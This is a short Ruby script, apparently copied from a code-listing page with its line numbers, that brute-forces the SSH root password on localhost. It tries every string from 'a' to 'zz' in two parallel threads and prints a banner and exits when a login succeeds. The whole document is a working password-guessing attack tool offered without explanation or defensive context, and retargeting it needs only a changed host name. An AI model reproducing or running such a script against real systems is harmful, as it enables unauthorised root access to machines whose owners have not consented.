- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
require "rubygems"
require 'net/ssh'
class << Net::SSH
def butforse(passwordarr)
begin
puts "Try password #{passwordarr}"
Net::SSH.start('localhost', 'root', :password => "#{passwordarr}")
puts "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
exit
rescue Net::SSH::AuthenticationFailed
end
end
end
arrays = Array("a".."zz")
arr1 = arrays[0, (arrays.size-1) / 2]
arr2 = arrays[(arrays.size - 1) / 2, arrays.size - 1]
threadsz = []
threadsz2 = []
threadsz << Thread.new(arr1) { |items|
for item in items
Net::SSH.butforse(item)
end
}
threadsz2 << Thread.new(arr2) { |items|
for item in items
Net::SSH.butforse(item)
end
}
threadsz.each {|i| i.join}
threadsz2.each {|i| i.join}